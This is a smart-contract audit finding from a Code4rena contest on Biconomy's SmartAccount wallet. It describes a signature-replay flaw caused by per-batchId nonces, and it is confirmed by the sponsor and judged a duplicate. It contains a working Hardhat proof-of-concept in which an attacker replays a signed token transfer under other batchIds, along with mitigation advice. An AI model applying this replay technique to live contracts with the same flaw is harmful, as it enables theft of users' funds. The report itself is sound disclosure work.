Transaction replay is possible due to the use of mapping of nonces

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L204-L219

Vulnerability details

Impact

Due to the use of a mapping of nonces, instead of a single one, on certain cases transaction replay is possible.

For example, in the first tx of each batchId the actual nonce used is 0. But in the nonces mapping there are on the order of 2^256 nonces values that equals 0 (as they are all initiliazed to 0), therefore from a practical point of view an attacker can replay this first transaction as many times they want.

This vulnerability is more broader as it can works to replay entire series of batched txs or any contiguous subset of batched txs that starts from nonces[batchId] == 0. On special circustances it can also be used to replay specific transactions. Anytime that there is a "collision" between two nonces[batchId], an attacker can exploit this to replay that tx and any following tx on that batchId.

Proof of Concept

For simplicity, consider the following attack for the first tx of any batchId.

1. Alice send the tx to the wallet to transfer 10 tokens to Bob.
2. Eve records the tx info.
3. Eve replays the tx using any other batchId value where nonces[batchId] == 0 (For the first tx of each batch, there are many batchId that satisfy ( nonces[batchId] == 0), so Eve can replay this tx how many times she wants).

import { expect } from "chai";
import { ethers } from "hardhat";
import { encodeTransfer } from "./testUtils";
import {
  SafeTransaction,
  Transaction,
  FeeRefund,
  safeSignMessage,
  buildSafeTransaction,
} from "../../src/utils/execution";

describe("POC", function () {
  it("Replay Tx", async function () {

    //Setup
    let accounts = await ethers.getSigners();
    let alice = await accounts[0].getAddress();
    let bob = await accounts[1].getAddress();
    let eve = await accounts[2].getAddress();

    const BaseImplementation = await ethers.getContractFactory("SmartAccount");
    let baseImpl = await BaseImplementation.deploy();
    await baseImpl.deployed();

    const WalletFactory = await ethers.getContractFactory("SmartAccountFactory");
    let walletFactory = await WalletFactory.deploy(baseImpl.address);
    await walletFactory.deployed();

    const EntryPoint = await ethers.getContractFactory("EntryPoint");
    let entryPoint = await EntryPoint.deploy();
    await entryPoint.deployed();

    const MockToken = await ethers.getContractFactory("MockToken");
    let token = await MockToken.deploy();
    await token.deployed();

    const DefaultHandler = await ethers.getContractFactory(
      "DefaultCallbackHandler"
    );
    let handler = await DefaultHandler.deploy();
    await handler.deployed();

    await token.mint(alice, ethers.utils.parseEther("1000000"));
    const wallet_address = await walletFactory.getAddressForCounterfactualWallet(
      alice,
      0
    );
    await walletFactory.deployCounterFactualWallet(
      alice,
      entryPoint.address,
      handler.address,
      0
    )
    let userSCW = await ethers.getContractAt(
      "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount",
      wallet_address
    );

    //Alice sends tokens to the wallet
    await token
      .connect(accounts[0])
      .transfer(userSCW.address, ethers.utils.parseEther("100"));

    // Alice tx setup to transfer 10 tokens to Bob. 
    const safeTx: SafeTransaction = buildSafeTransaction({
      to: token.address,
      data: encodeTransfer(bob, ethers.utils.parseEther("10").toString()),
      nonce: await userSCW.getNonce(0),
    });
    const transaction: Transaction = {
      to: safeTx.to,
      value: safeTx.value,
      data: safeTx.data,
      operation: safeTx.operation,
      targetTxGas: safeTx.targetTxGas,
    };
    const refundInfo: FeeRefund = {
      baseGas: safeTx.baseGas,
      gasPrice: safeTx.gasPrice,
      tokenGasPriceFactor: safeTx.tokenGasPriceFactor,
      gasToken: safeTx.gasToken,
      refundReceiver: safeTx.refundReceiver,
    };
    const chainId = await userSCW.getChainId();
    const { signer, data } = await safeSignMessage(
      accounts[0],
      userSCW,
      safeTx,
      chainId
    );
    let signature = "0x";
    signature += data.slice(2);

    //2. Alice sends authentic tx to the wallet
    await expect(
      userSCW.connect(accounts[0]).execTransaction(
        transaction,
        0, // batchId
        refundInfo,
        signature
      )
    ).to.emit(userSCW, "ExecutionSuccess");

    //3. Eve copies the tx info availiable on-chain (transaction, refundInfo, signature)
    // and sends it own replay tx choosing any other nonces[batchId] that matches the nonce alice used.
    // For the first tx of each batchId, the nonce will be 0, therefore from a practical point of view
    // there are infinitely many nonces[batchId] that will match, so Eve can choose any batchId != 0.
    await expect(
      userSCW.connect(accounts[3]).execTransaction(
        transaction,
        2023, // batchId
        refundInfo,
        signature
      )
    ).to.emit(userSCW, "ExecutionSuccess");

    // Eve can replay this tx how many times she desires chossing different batchId.
    await expect(
      userSCW.connect(accounts[3]).execTransaction(
        transaction,
        1337, // batchId
        refundInfo,
        signature
      )
    ).to.emit(userSCW, "ExecutionSuccess");

    // Verify that Bob received 3 txs instead of 1.
    expect(await token.balanceOf(bob)).to.equal(
      ethers.utils.parseEther("30")
    );
  });
});

Recommended Mitigation Steps

Consider removing the possibility of sending "parallel" batched transactions, therefore a single nonce can be used. Or consider also including the batchId value to the txHashData, making the txHash different even if nonce[batchIdA] == nonce[batchIdB]

[c4-judge]

gzeon-c4 marked the issue as duplicate of #485

[livingrockrises]

confirmed duplicate of primary issue #485

[c4-sponsor]

livingrockrises marked the issue as sponsor confirmed

[c4-judge]

gzeon-c4 marked the issue as satisfactory